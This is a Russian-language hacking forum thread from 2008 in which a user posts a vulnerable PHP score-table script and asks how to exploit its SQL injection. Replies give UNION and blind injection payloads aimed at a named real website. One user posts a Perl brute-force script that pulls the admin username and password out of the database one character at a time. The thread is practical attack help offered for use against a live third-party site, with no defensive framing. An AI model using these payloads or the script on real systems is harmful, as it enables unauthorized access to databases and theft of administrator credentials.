ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

sql inj in flash.php
  #1  
Старый 24.04.2008, 03:58
Аватар для Elesar
Elesar
Новичок
Регистрация: 20.12.2003
Сообщений: 25
Провел на форуме:
58492

Репутация: 5
По умолчанию sql inj in flash.php

Нашел иньекцию в скрипте на сайте, долго перебирал колличество полей для выборки, ничего не получилось(всегда пишет The used SELECT statements have a different number of columns).

Погуглив по параметрам скрипта нашел движок, оттуда достал весь запрос : SELECT * FROM flashscores WHERE game = ".$gameID." ORDER BY score DESC LIMIT 10;

Так-же достоверно узнал колличество полей: 5

Подскажите, как правильно составить sql inj?


PHP код:
<?
if(isset($_GET["gameid"]))
{

$gameID=$_GET["gameid"];

 
$sql "SELECT * FROM flashscores WHERE game = ".$gameID." ORDER BY score DESC LIMIT 10;<br>";
    
$result MySQL_QUERY($sql);
    echo 
"111:".$sql;
    while(
$scores MySQL_FETCH_ARRAY($result))
    {
    
$userresult MySQL_QUERY("SELECT * FROM users WHERE id = ".$scores["user"].";");
    
$user MySQL_FETCH_ARRAY($userresult);
     
$username $user["username"];
      
$ranking MySQL_QUERY("SELECT COUNT(*) FROM flashscores WHERE game = ".$gameID." AND score > ".$scores["score"].";") OR DIE(MySQL_ERROR());
      if(
$rankrow mysql_fetch_row($ranking))
      {
               
$rank $rankrow[0]+1;
               }else{
               
$rank 1;
               }
               if(
$gameID 9)
                {
                if(
$scores["user"]==$CURUSER["id"])
                 {
            print(
"<TR style=\"background-color: #BBBBBB\"><TD>".$rank."</TD><TD WIDTH=75%>".$username."</TD><TD><div style=\"text-align:right;width:100%;\">".$scores["score"]."</div></TD></TR>");
            }else{
            print(
"<TR><TD>".$rank."</TD><TD>".$username."</TD><TD><div style=\"text-align:right;width:100%;\">".$scores["score"]."</div></TD></TR>");
            }
            }else{
            if(
$scores["user"]==$CURUSER["id"])
            {
            print(
"<TR style=\"background-color: #BBBBBB\"><TD>".$rank."</TD><TD WIDTH=75%>".$username."</TD><TD>".$scores["level"]."</TD><TD><div style=\"text-align:right;width:100%;\">".$scores["score"]."</div></TD></TR>");
            }else{
            print(
"<TR><TD>".$rank."</TD><TD>".$username."</TD><TD>".$scores["level"]."</TD><TD><div style=\"text-align:right;width:100%;\">".$scores["score"]."</div></TD></TR>");
            }
      }
  }

  
$sql "SELECT * FROM flashscores WHERE game = ".$gameID." AND user = ".$CURUSER["id"]." ORDER BY score DESC LIMIT 1;";
  echo 
"222:".$sql;
  
$yourresult MySQL_QUERY($sql) OR DIE(MySQL_ERROR());
  if(
$yourscore MySQL_FETCH_ARRAY($yourresult))
  {
          
$yourhighscore $yourscore["score"];
          
$yourlevel $yourscore["level"];
          
$yourranking MySQL_QUERY("SELECT COUNT(*) FROM flashscores WHERE game = ".$gameID." AND score > ".$yourhighscore.";") OR DIE(MySQL_ERROR());
          if(
$ranking mysql_fetch_row($yourranking))
          {
                   
$yourrank $ranking[0]+1;
          }else{
                   
$yourrank 1;
          }
          if(
$yourrank>10)
          {
          if(
$gameID 9)
          {
           print(
"<TR style=\"background-color: #BBBBBB\"><TD>".$yourrank."</TD><TD WIDTH=75%>".$CURUSER["username"]."</TD><TD><div style=\"text-align:right;width:100%;\">".$yourhighscore."</div></TD></TR>");
           }else{
           print(
"<TR style=\"background-color: #BBBBBB\"><TD>".$yourrank."</TD><TD WIDTH=75%>".$CURUSER["username"]."</TD><TD>".$yourlevel."</TD><TD><div style=\"text-align:right;width:100%;\">".$yourhighscore."</div></TD></TR>");
           }
           }
  }
  print(
"</TABLE><P>");
  }else{
           print(
"<TABLE WIDTH=100%><TR><TD><center><B>".$_GET["gamename"]."</B></center></TD></TR>");
      print(
"<TR><TD>Sorry, we cannot save scores of this game!</TD></TR>");
      print(
"</TABLE>");
}
end_table();
?>
 

  #2  
Старый 24.04.2008, 04:01
Аватар для Piflit
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

flash.php?gameid=-1+union+select+1,2,3,4,5/*
и юзаешь поле, которое выводится

add

вот например
http://geotorrents.com/flash.php?gameURI=snake.swf&gamename=Snake&gameid= 0x3927%20union%20select%201,2,3,4,5/*
только ничего не выводится...

Последний раз редактировалось Piflit; 24.04.2008 в 04:07..
 

  #3  
Старый 24.04.2008, 04:15
Аватар для 159932
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

Цитата:
Сообщение от Piflit  
flash.php?gameid=-1+union+select+1,2,3,4,5/*
и юзаешь поле, которое выводится

add

вот например
http://geotorrents.com/flash.php?gameURI=snake.swf&gamename=Snake&gameid= 0x3927%20union%20select%201,2,3,4,5/*
только ничего не выводится...
если не выводится то это обычная слепая иньекция ..
// не проверял
 

  #4  
Старый 24.04.2008, 09:43
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

Запрос возвращает несколько результатов (с 5ью полями и с 1 (count()), поэтому вывода не будет.
посимвольный идет на ура

http://geotorrents.com/flash.php?gameURI=snake.swf&gamename=Snake&gameid= 1+and+substring(version(),1,1)=5/*
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 

  #5  
Старый 24.04.2008, 11:43
Аватар для Elesar
Elesar
Новичок
Регистрация: 20.12.2003
Сообщений: 25
Провел на форуме:
58492

Репутация: 5
По умолчанию

Что максимум можно выжать из этого бага?
 

  #6  
Старый 24.04.2008, 11:50
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

тоже самое что из обычной скули, только посимвольно
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 

  #7  
Старый 24.04.2008, 12:14
Аватар для fly
fly
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
Провел на форуме:
967842

Репутация: 251


Отправить сообщение для fly с помощью ICQ
По умолчанию

Вот пример сплоита , заюзай тока со своей скулей!

Код:
#!/usr/bin/perl -w

use IO::Socket;
use strict;

#
# Benchmark brute sql tool
#

my $delay	= "80000";
my $stp =0;

my $host        = "";  -------урл хоста
my $dir         = ""; ------директория
if ($ARGV[2] ) { $delay = $ARGV[2]; }

print "\nTarget url : ".$host.$dir."\n\n";
$host =~ s/(http:\/\/)//;

my @array = ("username","password"); ---название columns в бд

print "--== Trying to perform sql injection ==--\n\n";
sleep(1);

&sploit();


sub sploit() {
	my $x 		= "";
	my $i		= "";
	my $string	= "";
	my $res		= "1";
	
	for ( $x=0; $x<=$#array; $x++ ) {

		my $j = 1;
		$res  = 1;
		while ($res) {
			for ($i=32;$i<=127;$i++) {
				$res = 0;
				
				if ( $x eq 1 ) {
					next if ( $i < 48 );
					next if ( ( $i > 57 ) and ( $i < 97 ) );
					next if ( $i > 102 );
				}
								my $val  = "пУТЬ ДО СКУЛИ ВИДА (index.php?id=1')";				
                                my $tmp = "И САМА СКУЛЮ ДЛЯ ПЕРЕБОРА";
				
				$tmp =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;

                                $val .= $tmp;
				
				
                                my $data=$dir.$val;
				my $start = time();
	
				my $req = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Error - connection failed\n\n";
				
                                print $req "GET $data HTTP/1.1\r\n";
				print $req "Host: $host\r\n";
				print $req "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (GNU Linux)\r\n";
				print $req "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				print $req "Accept-Language: en-us;q=0.7,en;q=0.3\r\n";
				print $req "Accept-Encoding: gzip,deflate\r\n";
				print $req "Keep-Alive: 300\r\n";
				print $req "Connection: Keep-Alive\r\n";
				print $req "Cache-Control: no-cache\r\n";
				print $req "Connection: close\r\n\r\n";
				
				while (my $result = <$req>) {
                                        if ( $result =~ /Subquery returns more than/ ) {
                                               $string .= chr($i);
					       print "\n\tFound : ".chr($i)."\n\n";
					       $res = 1;
                                               $stp=1;
                                        }

					if ( $result =~ /404 Not Found/ ) {
						printf "\n\nFile not found.\n\n";
						print "\n\n$result\n\n";
						exit;
					}
					if ( $result =~ /400 Bad Request/ ) {
						printf "\n\nBad request.\n\n";
						print "\n\n$result\n\n";
						exit;
					}
				}
                                if($stp > 0)
                                {
                                 $stp=0;
                                 last;
                                }
				my $end = time();
				my $dft = $end - $start;
				print "$dft sec    ";				

				print "\tTrying : ".chr($i)."\n";
			}
			$j++;
			if ( !$res ) {
				$array[$x] = $string;
				$string = "";
			}
		}
        }
	print "\n----------------------\n";
	print "Admin username : $array[0]\n";
	print "Admin password : $array[1]\n\n";
}

sub usage() {
    print "\n \n";
    print " \n";
    print " \n\n";
    print "ay\n";
    print "by fly\n\n";
    exit();
}
 

  #8  
Старый 24.04.2008, 12:54
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

#
# Benchmark brute sql tool
#

а при чем тут это ?))))
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 

  #9  
Старый 24.04.2008, 16:14
Аватар для Elesar
Elesar
Новичок
Регистрация: 20.12.2003
Сообщений: 25
Провел на форуме:
58492

Репутация: 5
По умолчанию

Цитата:
Сообщение от blackybr  
тоже самое что из обычной скули, только посимвольно
Был бы очень вам благодарен за небольшой пример...
 

  #10  
Старый 24.04.2008, 17:44
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

http://injection.rulezz.ru/mysql_char_brute.html
__________________
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ